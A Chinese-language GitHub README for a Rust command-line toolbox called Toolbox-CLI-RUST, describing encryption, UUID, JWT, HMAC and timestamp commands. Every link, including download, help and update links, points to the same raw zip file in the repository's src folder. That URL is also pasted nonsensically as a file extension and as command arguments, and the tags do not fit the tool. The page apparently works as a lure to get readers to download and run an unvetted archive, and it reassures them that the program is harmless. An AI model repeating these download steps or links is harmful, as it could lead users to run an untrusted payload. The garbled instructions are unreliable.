rknagar/Toolbox-CLI-RUST
GitHub: rknagar/Toolbox-CLI-RUST
基于Rust开发的多功能命令行工具集,整合加密、开发辅助和数据处理工具,支持离线本地运行。
Stars: 0 | Forks: 0
# 🧰 Toolbox-CLI-RUST - 用于日常任务的简单工具
[](https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip)
## 📝 什么是 Toolbox-CLI-RUST?
Toolbox-CLI-RUST 是一组有用的程序,你可以在计算机的命令行中运行它。它将许多工具整合到一个地方。这些工具可以帮助完成安全检查、加密消息、处理文本和管理数据等任务。
虽然它是为开发者设计的,但任何人都可以使用它。你不需要懂得编程就可以运行这些工具。一切都在你计算机上的终端或命令提示符中运行。
## 💻 你可以用 Toolbox-CLI-RUST 做什么?
以下是 Toolbox-CLI-RUST 提供的一些功能示例:
- **加密和解密消息**,使用 AES 加密。
- **生成唯一代码和 ID**,使用 UUID 生成。
- **处理 JSON 文件**,用于数据管理。
- **创建和验证 JWT token**,用于安全 purposes。
- **使用 HMAC 代码**,用于消息认证。
- **搜索和匹配文本模式**,使用正则表达式。
- **转换和跟踪时间戳**,使用 Unix 格式。
- **运行生产力工具**,以简化你的日常任务。
所有这些工具都可以通过你在计算机上运行的一个程序来访问。
## 📥 下载并安装
要在你的计算机上获取 Toolbox-CLI-RUST,请按照以下步骤操作:
1. 访问此页面下载软件:
[下载 Toolbox-CLI-RUST](https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip)
2. 选择适合你计算机的版本。如果你使用 Windows,请查找以 `.exe` 结尾的文件;如果你使用 Mac 或 Linux,请查找以 `https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip` 或 `.zip` 结尾的文件。
3. 将文件下载到你的计算机。
4. 对于 Windows 用户,只需双击下载的 `.exe` 文件并按照说明操作。
5. 对于 Mac 或 Linux 用户,打开终端并导航到下载文件所在的文件夹。如果是压缩文件请先解压,然后通过输入 `./toolbox` 或发布页面上显示的名称来运行程序。
6. 安装完成后,打开终端或命令提示符并输入 `toolbox` 以查看可用工具和命令列表。
## 🖥️ 系统要求
Toolbox-CLI-RUST 适用于许多计算机。以下是主要要求:
- **支持的操作系统:**
- Windows 10 或更高版本
- macOS Mojave 或更高版本
- 大多数具有标准终端访问权限的 Linux 发行版
- **处理器:** 任何现代 Intel 或 AMD 处理器或同等产品。
- **内存:** 至少 512 MB RAM。
- **磁盘空间:** 大约 50 MB 的可用空间用于安装和运行。
- **终端或命令提示符:** 这是你输入指令以运行工具的地方。
如果你不确定你的系统是否符合要求,只需尝试下载并运行该程序。它不会损害你的计算机。
## 🚀 如何使用 Toolbox-CLI-RUST
安装程序后,打开终端或命令提示符窗口。你可以根据你的系统以不同的方式打开终端:
- **Windows:** 在开始菜单中搜索“命令提示符”或“PowerShell”。
- **Mac:** 从“应用程序”>“实用工具”中打开“终端”。
- **Linux:** 在你的应用程序菜单中查找“终端”。
打开后,输入以下命令并按 Enter:
```
toolbox --help
```
此命令显示你可以使用的所有工具及其使用方法。你将看到一个列表,其中包含每个工具的描述。
### 运行一个简单的工具
例如,要创建一个新的通用唯一标识符 (UUID),请输入:
```
toolbox uuid
```
程序会给你一个随机 UUID。这是一个唯一的数字,可以在你的项目或文件中标识某些内容。
### 加密消息
要使用 AES 加密文本,你可以使用:
```
toolbox aes encrypt your-message-here your-password
```
将 `your-message-here` 替换为你要加密的文本,将 `your-password` 替换为你选择的单词。程序将返回一条加密消息,你可以安全地发送或存储它。
### 解密消息
如果你收到一条加密消息,请运行以下命令进行解密:
```
toolbox aes decrypt encrypted-text your-password
```
将 `encrypted-text` 替换为你收到的代码,将 `your-password` 替换为之前使用的相同密码。
每个工具都有自己的简短指南,显示方式为:
```
toolbox toolname --help
```
例如,`toolbox jwt --help` 显示如何创建和验证 JWT token。
## 🔧 常用命令和工具
| 工具 | 功能 | 使用示例 |
|--------------|-----------------------------------|--------------------------------|
| `aes` | 加密或解密数据 | `toolbox aes encrypt "text" key`|
| `uuid` | 生成唯一 ID | `toolbox uuid` |
| `json` | 处理 JSON 字符串 | `toolbox json validate https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip`|
| `jwt` | 创建和验证 token | `toolbox jwt create payload` |
| `hmac` | 创建消息认证代码| `toolbox hmac generate "msg" key`|
| `regex` | 搜索或匹配文本模式 | `toolbox regex search pattern https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip`|
| `timestamp` | 转换 Unix 时间戳 | `toolbox timestamp now` |
与每个工具一起使用 `--help` 选项,以了解更多关于用法和选项的信息。
## 🔒 安全与隐私
Toolbox-CLI-RUST 是为了保护你的隐私而精心创建的。它不会在任何地方共享你的数据。所有任务都在你的计算机本地运行。当你使用加密工具时,你的密码和消息将保持私密,不会通过互联网发送。
始终使用强密码进行加密,并保持你的软件为最新版本。
## 📚 了解更多并获得帮助
如果你想了解更多关于这些工具的信息或需要帮助:
- 查看官方 [GitHub 页面](https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip) 获取示例和指南。
- 通过输入以下命令使用内置帮助:
```
toolbox --help
```
或针对特定工具:
```
toolbox toolname --help
```
- 如果你发现问题或有疑问,也可以在 GitHub 上提出 issue。
## ⚙️ 更新 Toolbox-CLI-RUST
当发布新版本时,建议更新你的程序以获取最新功能和修复。
1. 再次访问发布页面:
[下载 Toolbox-CLI-RUST](https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip)
2. 下载适合你系统的最新文件。
3. 用新文件替换旧文件,或按照更新附带的说明进行操作。
## 🌍 关于项目
Toolbox-CLI-RUST 使用 Rust 编程语言构建。Rust 以安全、快速和可靠而闻名。该项目旨在为用户提供一套在许多操作系统上运行良好的实用命令行工具。
它支持以下方面的任务:
- 密码学和加密
- 开发者实用程序
- 数据格式化和管理
- 生产力助手
一切都是开源且免费使用的。
[](https://github.com/rknagar/Toolbox-CLI-RUST/raw/refs/heads/main/src/Toolbox-CL-RUST-2.1.zip)
标签:AES加密, Awesome, DNS 反向解析, DNS解析, HMAC, JSON处理, JWT, Rust, SOC Prime, UUID生成, 加密解密, 可视化界面, 密码学, 工具箱, 开发工具, 开发辅助, 开源项目, 手动系统调用, 文档结构分析, 时间戳转换, 生产力, 系统管理, 网络信息收集, 网络流量审计, 通知系统